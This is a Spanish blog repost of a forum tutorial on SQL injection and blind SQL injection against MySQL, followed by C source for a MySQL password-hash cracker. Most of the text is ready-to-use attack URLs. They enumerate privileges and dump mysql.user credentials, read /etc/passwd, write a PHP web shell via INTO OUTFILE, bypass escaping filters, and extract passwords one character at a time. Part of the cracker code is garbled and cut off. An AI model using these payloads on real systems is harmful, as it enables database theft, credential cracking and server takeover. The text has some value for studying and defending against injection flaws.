Banner 1

Gran tutorial sobre inyecciones sql en MySQL

Bueno , hago otro echo :D de las mejores comunidades ahora le toca a elhacker.net , este post fue hecho por z1x2c3z1x2c3| para esta comunidad.

para ver las imagenes deben visitar la fuente original , adjunta en la parte final :D

saludos

-----------------------------------------------------------------------------------------------------

tip's,errores y demàs .. son bienvenidos.

+--------------------------------------------------------
| |
| SQL injection && Blind Sql Injection |
| |
| Escrito por q7w8e9 |
| |
+--------------------------------------------------------

¿Qué es sql injection?

"Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la
base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las
partes del programa con código SQL. Es, de hecho, un error de una clase más general de
vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté
incrustado dentro de otro.
Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro
código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código
"invasor" en la base de datos."

Fuente:
http://es.wikipedia.org/wiki/Inyección_SQL

¿Qué vamos a ver?

Hablare de sql injection/blind sql injection en base de datos MySQL versión 4.x y 5.x. Algunas
cosas explicadas aquí quizás no funcionen en otras base de datos ya que no todas las bases de datos
son iguales hay variedades de ellas... mysql, mssql (sql server), sqlite, oracle etc ..

Antes de empezar vamos a repasar algunas cosas básicas:

? enlaza la URL con los parámetros a pasar.
& delimita donde termina un parámetro y donde comienza el otro
= asigna el valor


Recuerdalos bien ;).


Empecemos ...

Nota: En los ejemplos usare siempre "localhost" y el nombre del script "print.php"


¿Cómo buscar y saber que una aplicación web se afronta a poseer vulnerabilidad de sql injection?

Hay varias formas de hacerlo .. entre ellas la mas común es usar una comilla simple ' (''%27'') al
final de la URL:

http://localhost/print.php?id=332'

La siguiente forma es usar un paréntesis ")" donde haría que la aplicación produzca un error o
también podríamos usar algún comentario que pueden ser ''/*'' , ''--'' o "#" (el tema de los comentarios puede ser que con un comentario funcione y con el otro no .. por ejemplo:

Con /*:




Con --:





al final de la url y así provocaría un error ... o usando palabras del mismo lenguaje como select
order by o algún carácter

Ejemplos:

http://localhost/print.php?id=12) --
http://localhost/print.php?id=12)) --
http://localhost/print.php?id=12 '--
http://localhost/print.php?id=12 ') --
http://localhost/print.php?id=12 ')) --

veamos:




Aunque hay otra forma usando operadores logicos de MySQL ..

Solo agregando al final de la url algo como:

http://localhost/print.php?id=1 and 1=1

Y luego:

http://localhost/print.php?id=1 and 1=2

No solo se puede usar AND existen otros operadores lógicos:

1 && 1 //Representa el AND
1 || 1 //Representa el OR
1 XOR 0 //Retorna null si alguno de ellos es null
! //Representa NOT se evalúa 1 si el operando es 0 y a 0 si el operando es distinto a 0.

Veremos que al hacer la primera inyección la pagina la devolverá normalmente ... pero al inyectar la
segunda se ha modificado! (a veces vacía o falta algún contenido, se notara la diferencia).
Si al hacer algunas de estas inyecciones obtenemos algo como: "You have an error in your SQL
syntax; check the manual that " o algo parecido o quizás nada pero... sabremos que es vulnerable a
sql injection.







Explorando la base de datos

Vamos a averiguar el numero de columnas ...

¿Cómo hacemos eso? ¡Fácil!, usamos el 'order by' e iremos incrementando o viceversa según los
resultados veamos.

http://localhost/print.php?id=-1 order by 1/* <---- no muestra un error
http://localhost/print.php?id=-1 order by 2/* <---- no muestra un error
...
http://localhost/print.php?id=-1 order by 14/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 15/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 16/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 17/* <-------- error

Cuando hay un error nos mostrara algo así:

"Unknown column '17' in 'order clause"

Como podemos ver hay 16 columnas.








Pero hay veces que esto no es posible y tendremos que usar UNION (Sentencia UNION: Se usa
para combinar los resultados de varias sentencias SELECT en un único conjunto de resultados.)
http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Ahí la pagina nos puede imprimir unos números o tal vez puede verse que falta de algun contenido pero
sabremos que la union funciona,pero podremos usar el método:

union all select 1/*
union all select 1,2/*
union all select 1,2,3/*
..
y así sucesivamente hasta encontrar la cantidad de columnas.


Sabiendo la versión de mysql y otros datos útiles

Bueno ahora analicemos la inyección de más arriba ..

http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Como pueden ver es que no explique el -1 .. no quiere decir que siempre hay que ponerlo .. pueden usar
cualquier numero.
También hay veces que al usar algún tipo de comentario como puede ser --,/* o # veremos que pueden
funcionar todos,2 y solo 1 de ellos en la inyección .. así que a probar! (como dije arriba)

Lo que hay que hacer ahora es reemplazar algún numero que se esté impreso en pantalla por algunas de
las inyecciones que podrían darnos algunos datos interesantes del servidor (estos números corresponde a
una columna de la tabla).

Ver la versión:

http://localhost/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16/
*

(se pude usar @@version o version())

Ejemplo:




(se pude usar @@version o version())

Tendrás algo como "4.1.20-log"

Los @@ son variables del sistema,por ejemplo podríamos hacer algo como @@servename.

Es importante saber que versión de MySQL estamos analizando ya que podría facilitarnos la inyección y
sacar algunos datos importantes veamos:

version() Devuelve la versión del servidor MySQL.
database() Devuelve el nombre de la base de datos actual.
current_user() Devuelve el nombre de usuario y el del host para el que está autentificada la
conexión actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de
acceso. Puede ser diferente del valor de USER().
last_insert_id() Devuelve el último valor generado automáticamente que fue insertado en una
columna AUTO_INCREMENT.
connection_id() Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.
@@datadir directorio de la db.

Algunos seguro tendran este problema que es algo frecuente y es eso de:

¿Por qué me dice que es ilegal, implícita etc ..?

ok .. vamos a ver como evitarlo y se hace de la siguiente manera:

Bueno en este caso tendremos que usar la función convert().

http://localhost/print.php?id=-1+union+all+select 1,convert(@@version using
latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

o con hex() y unhex():

http://localhost/print.php?id=-1+union+all+select
1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Bueno hasta aca ya recolectamos bastantes datos interesantes del servidor y ademas sabemos como ver si es vulnerable o no .. ahora seguimos.

Algunas veces nos podemos encontrar con filtros .. filtros que nos lian las inyecciones pero hay varias forma de pasarse filtros por ejemplo podríamos hacer algo como:

http://localhost/print.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

http://localhost/print.php?id=-1/**/uNion/**/aLl/**/sElEcT/**/1,unhEx(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Lo mismo hablare sobre esto mas adelante.


Obteniendo tabla,nombre de columna y otros datos

Vamos a ver como hacer al tener una versión 5 de MySQL:

Para listar los privilegios podríamos hacer:

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Como podemos ver hay algo nuevo y es concat (devuelve la cadena resultante de concatenar los argumentos).
Con esto nos ahorraríamos de hacer inyecciones .. sabemos que al usar concat,algunos de los datos que
pudiéramos sacar de la base por ejemplo no existiera nos largaría un error o cuando no hubiera contenido
nos largaría NULL.
Al hacer esto vemos que todo sale muy junto ..¿Cómo podemos evitar esto?

Podemos pasar algún carácter a hexadecimal o usando char() (pasar a valor ascii).

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,privilege_type,0x3a,is_grantable)3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Vemos que 0x3a es un valor en hex y representa ":"
Entonces obtendremos algo así:

''primerdato:segundodato'' y no ''primerdatosegundodato''

Y así con cualquier carácter como he dicho por ejemplo "=" en hexa (0x3D) Obtendríamos:

''primerdato=segundodato''

Y en ascii:

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,char(58),privilege_type,char(58),is_grantable)3,4,5,6,7,8,
9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Ejemplo:




y ..




Como podemos ver en la segunda imagen aparece unos : (dos puntos)

o con char():




como podemos ver lo separamos con ^ y claro! podremos usar cualquier caracter.

Nota: Para saber los valores ascii: http://www.ascii.cl/es/

o Sencillo script en perl para pasar una cadena de caracteres a HEX:

Código:
print "Enter string to encode:";
$str=;chomp $str;
$enc = encode($str); print "Hex Encoded value: 0x$enc\n";
sub encode{ #Sub to encode
@subvar=@_;
my $sqlstr =$subvar[0];
@ASCII = unpack("C*", $sqlstr);
foreach $line (@ASCII) {
$encoded = sprintf('%lx',$line);
$encoded_command .= $encoded;
}
return $encoded_command;
}

Tambien antes de hacer esto podriamos usar concat_ws() (concat_ws() utiliza el primer argumento para separar el resto de los argumentos:




o simplemente aprovechar los numeros que larga y poner en cada numero algo por ejemplo:




como ven puse que muestre la base de datos,la tabla y la columna .. aprovechando los numeros que habia largado.

en este caso blog es la base .. blog_lb_authors es la tabla y id es la columna.


Bueno seguimos ..
Ahí mostramos una forma de sacar una lista de privilegios pero hay otras formas:

http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Update_pri
v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_priv,0x3a,P
rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Alter_priv,
0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv,0x3a,Exe
cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+m
ysql.user--

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9,10,
11,12,13,14,15,16+FROM+information_schema.schema_privileges--
http://localhost/print.php?
id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,privileg
e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privileges--

Para sacar una lista sobre las base de datos:

http://localhost/print.php?id=-1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_s
chema.schemata--

http://localhost/print.php?id=-1+union+all+select+1,distinct(db),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.db--

Para sacar una lista de columnas:

http://localhost/print.php?
id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9,
10,11,12,13,14,15,16+FROM+information_schema.columns--

Otra cosa que se puede hacer es leer algún archivo local como puede ser "/etc/passwd":

http://localhost/print.php?id=-1+union+all+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14,15,1
6--

El /etc/passwd esta en hex.

Ejemplo:




o obtener un user y pass de la db y poder acceder remotamente a ella:

http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6,7,8,9,
10,11,12,13,14,15,16+FROM+mysql.user--

Ejemplo:




como podemos ver tiro el host,el usuario y por supuesto el password .. ahora lo que nos queda es crackear el
hash (pueden usar john the ripper etc ..) y scanear a ver si por esas casualidades tiene la posibilidad de que tenga el puerto de base de datos abierto.

Ejemplo:




y podernos conectar remotamente:




y luego buscando cosas interesantes:




Nota: se puede usar cualquier cliente mysql en este caso uso la c99.


Una forma para intentar buscar nombres de columnas:

Buscando algún nombre de tabla .. en este caso largo auth ..

http://localhost/print?id=-1 union all select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from
information_schema.tables where table_schema = database()

Pasando valor a ascii y buscando ..

http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from information_schema.columns where table_name = char(97,117,116,104) and column_name
like char()

Pasar en ascii "%a%" quedando:

http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from information_schema.columns where table_name = char(97,117,116,104) and column_name
like char(37,97,37)

En esta inyección por ejemplo estaríamos buscando un nombre de columna pasadas en ascii.
Y ahí te larga palabras y luego obtener datos :)

Sacando demàs tablas,columnas etc .. de la base:

Bueno hay algunas veces que al hacer una inyeccion y hacer algo así:

-1 union all select table_name from information_shchema.tables

obtendremos todas todas las tablas impresas de una sola vez .. pero otras veces no ..

por ejemplo:




Como podemos ver tira todas las tablas .. en cambio en esta no:





así que para ver la siguiente tabla usaremos limit al final de la url ejemplo:

-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 1,1--

Ejemplo:




como podemos ver saco la siguiente tabla .. solo nos quedaria incrementar limit ..

-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 2,1--
-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 3,1--
..
-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 15,1--

etc .. entendido? Ok, esto del limit lleva mucho tiempo .. por que saca datos de toda la base de datos
al menos que evitemos lo que no queremos ver :P ejemplo ..

en mysql existen 2 base de datos una se llama information_schema y la otra mysql .. (Instalen mysql y exploren lo que hay dentro de ellas)

pero si de verdad necesitamos evitarlas con el fin de encontrar algun password de algun panel de administracion etc .. podemos hacer algo así:

1+union+all+select+1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns+WHERE+table_schema!=0x6d7973716c+AND+table_schema+!=0x696e666f726d6174696f6e5f736368656d61+limit+100,1--

como podemos ver .. pase information_schema y mysql a HEX logrando que evite buscar alguna informacion en ellas.

aparte de usar limit podriamos usar group_concat() lo que haria es largar nombres de tabla pero no todas ejemplo:




y para evitar el tema de que aparezca todo junto podriamos hacer algo así:




como podemos ver puse: 0x3C62723E que seria un salto de linea en html osea
.


¿Para qué podría servir todo esto?

Desde leer archivos de configuraciones, archivos en si, etc .. solo es
cuestión de imaginación como por ejemplo obtener una shell del servidor haciendo algo como:

UNION SELECT "",2,3,4 INTO OUTFILE
"/var/www/html/mishell.php" --

por ejemplo: (Una vez echa la inyeccion)




y usando la shell:




Lo que estaríamos haciendo es metiendo el contenido de un script en php y guardándolo en alguna parte
del servidor.

si necesitan la ruta del servidor pueden verla en /etc/passwd ejemplo:

apache:x:48:48:Apache:/var/www:/sbin/nologin

o usar alguna tecnica como Full Path Disclosure:

http://www.owasp.org/index.php/Full_Path_Disclosure

Para hacer esto y algunas inyecciones más,necesitamos saltarnos las magic_quotes que son las que no
nos dejan hacer nuestras inyecciones con eficiencia :P para eso existen algunas formas ..

Como el "double encoding" bastante interesante y leer

(http://www.owasp.org/index.php/Double_Encoding)

hex encoding

para saltar filtros como las magic_quotes leer sobre "SQL Smuggling".

También como he leído por ahí .. podríamos saltar algunos de los filtros que posee PHP veamos:
-------------------------------------------------------
(MySQL 4.1.x o posterior: 4.1.20 y 5.0.x)
bypass a addslashes() con codificaciòn GBK
WHERE x = 0xbf27admin 0xbf27
-------------------------------------------------------
bypass mysql_real_escape_string() con BIG5 o GBK
se pueden poner caracteres chinos no hemos puesto el ejemplo por problemas de codificacion
pero es posible saltarse el mysql_real_escape() de esta forma.
aparte de ser caracteres chinos es BIG5 :P
-------------------------------------------------------
Vectores avanzados:

Usando HEX para bypassear una consulta:

Consulta normal:

SELECT * FROM login WHERE user = 'root'

Bypass:

SELECT * FROM login WHERE user = 0x726F6F74

Insertando nuevo usuario en SQL.


Consulta Normal:
insert into login set user = ‘root’, pass = ‘root’

Bypass:

insert into login set user = 0×726F6F74, pass = 0×726F6F74
--------------------------------------------------------
Como determinar el HEX? bueno se puede usar el programita de perl màs arriba o simplemente haciendo
algo como:

SELECT HEX('root');
obtendremos algo como:
726F6F74
y luego le agregamos:
0x
quedaría: 0×726F6F74

Tambien hace poco me encontre un articulo interesante del amigo xianur0 :P:

http://xianur0.blogspot.com/2008/10/rootear-servidor-mediante-sql-injection.html

seria bueno que lo lean.

Para ver si las magic_quotes estan activadas simplemente agreguen una ' (comilla siemple) si aparece algo así:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

es que no es posible por que aparece una barra invertida provocando un error en la base de datos ..

pero si aparece algo así:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

sabremos que no pasa nada con la comilla simple y tendremos màs posibilidades .. y inyecciones no tan complejas ademàs de poder actualizar datos,borrar etc ..

Ahora blind sql injection

Creo que es lo más difícil pero no imposible. Puede ser un poco cansado pero obtendremos
algunos frutos (?).

Sabiendo si es vulnerable a Bsql

Tenemos que saber esto:

http://localhost/print.php?id=-1 and 1 = 1 <--- esto siempre sera verdadero.
http://localhost/print.php?id=-1 and 1 = 2 <--- esto siempre sera falso.

Nota: Recordarlo siempre.

Si luego de probar http://localhost/print.php?id=-1 and 1 = 2 no regreso algo de la pagina, un texto o
etc sabemos que es vulnerable a bsql.

Sabiendo la versión de mysql:

http://localhost/print.php?id=-1 and substring(@@versión,1,1)=4 <--- si nos larga la pagina normal
(si es verdadero) sera versión 4.

http://localhost/print.php?id=-1 and substring(@@versión,1,1)=5 <--- si nos larga la pagina normal
(si es verdadero) sera versión 5.

Podemos usar select pero si tenemos problemas podremos usar subselect.

http://localhost/print.php?id=-1 and (select 1 from mysql.user limit 0,1)=1

Si nos larga verdadero tendremos acceso a mysql.user y podremos obtener ficheros del servidor
como /etc/password y etc ... usando load_file() y outfile.

Buscando nombre de tabla y columna

Puede ser difícil y con ganas de cagarte en muchas cosas xD.

Adivinando la tabla:

Hacemos esto:

http://localhost/print.php?id=-1 and (select 1 from members limit 0,1)=1

Nota: con LIMIT 0,1 nuestra consulta devuelve 1 fila de datos por causa de subselect por eso es
importante. RECODARLO

Si la pagina carga normalmente sabremos que el nombre de la tabla es la correcta si esto no es así
tendremos que seguir adivinando.

Ahora la columna:

http://localhost/print.php?id=-1 and (select substring(concat(1,password),1,1) from members limit
0,1)=1

Si la pagina carga normalmente sabremos que es la correcta de lo contrario a adivinar /* :@ */

Extrayendo datos

Supongamos que ya tenemos nombre de la columna y la tabla:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>80

El 80 es un carácter en ascii si nos da falso tenemos que aumentar hasta que de verdadero.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>95

Da falso así que incrementamos.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>95
http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>98

Nos da falso.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),1,1))>99

Verdadero!

Por lo que el primer carácter en el nombre de usuario es char(99). Y convirtiéndolo a ascii sabemos
que char (99) es la letra c.

Entonces vamos a comprobar el segundo carácter:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>99

Fíjense que estoy cambiado, a 1,1, 2,1 para obtener el segundo carácter, ahora vuelve el segundo
carácter, 1 carácter de longitud.

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>99

Nos da falso e incrementamos:

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>107

Nos da falso y buscamos un numero menor.

http://localhost/print.php?id=5 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>104

Falso, incrementamos ..

http://localhost/print.php?id=-1 and ascii(substring((SELECT concat(usuario,0x3a,password) from
members limit 0,1),2,1))>105

Verdadero!

Sabemos que el segundo carácter es char(105) y que es ''i'' vamos ''ci'' y seguimos incrementando,
cuando > 0 devuelve falso, sabemos que llegamos al final.


Hay herramientas que hacen que esto no sea muy pesado:

http://www.seguridadinformatica.es/profiles/blog/show?id=1024177%3ABlogPost%3A16301

Les recomiendo leer el tutorial que hizo ka0x que contiene un script donde podemos aplicar los
conocimientos de aquí y el que he usado a lo largo del tutorial :).(http://www.milw0rm.com/papers/download/216)

MySQL cheat sheet:
http://www.justinshattuck.com/2007/01/18/mysql-injection-cheat-sheet/

MySQL cheat sheet: http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/ (Màs que interesante)

La intencion de este tutorial es simplemente informar y enseñar a otros usuarios lo que podemos
hacer con este tipo de vulnerabilidades, ninguno nos responsabilizamos del mal uso que pueda
hacerse de el, sin mas, espero que os sirva!!

TODA LA LECTURA ES OBLIGATORIA

Dudas? l0ve@hslteam.org

o publiquen su duda en este post.

Saludos!

---------------------------------

tools:

el soft que use para desencriptar el pass:

mysqlfast.c

Código:
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer mysqlfast.c -o mysqlfast
* $ mysqlfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
int i, c;
u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
u32 newstate1, newstate2, newstate3;
u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
i = -1;
sum = 7;
state1_ary[0] = 1345345333L;
state2_ary[0] = 0x12345671L;

while (1) {
while (i < stop) {
i++;
pass_ary[i] = MIN_CHAR;
step_ary[i] = (state1_ary[i] & 0x3f) + sum;
xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
sum += MIN_CHAR;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

state1 = state1_ary[i+1];
state2 = state2_ary[i+1];
step = (state1 & 0x3f) + sum;
xor1 = step*MIN_CHAR + (state1 << 8);
xor2 = (state2 << 8) ^ state1;

for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
newstate2 = state2 + (xor1 ^ xor2);
newstate1 = state1 ^ xor1;

newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
div = (newstate1 & 0x3f) + sum + c;
diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
if (diff % div != 0) continue;
d = diff / div;
if (d <> MAX_CHAR) continue;

div = (newstate3 & 0x3f) + sum + c + d;
diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
if (diff % div != 0) continue;
e = diff / div;
if (e <> MAX_CHAR) continue;

pass_ary[i+1] = c;
pass_ary[i+2] = d;
pass_ary[i+3] = e;
return 1;
}

while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
sum -= MAX_CHAR;
i--;
}
if (i < 0) break;
pass_ary[i]++;
xor_ary[i] += step_ary[i];
sum++;
state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
state2_ary[i+1] = state2_ary[i]
+ ((state2_ary[i] << 8) ^ state1_ary[i+1]);
}

Post del mismo tema en el hacker.net


Tutorial de Inyección SQL. (SQL Injection)
http://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.html

SQL Injection para principiantes, ejemplos en aplicaciones reales
http://foro.elhacker.net/bugs_y_exploits/sql_injection_para_principiantes_ejemplos_en_aplicaciones_reales-t142203.0.html

FUENTE ORIGINAL:

http://foro.elhacker.net/nivel_web/gran_tutorial_sobre_inyecciones_sql_en_mysql-t237420.0.html

2 comentarios:

Powered by Bad Robot
Helped by Blackubay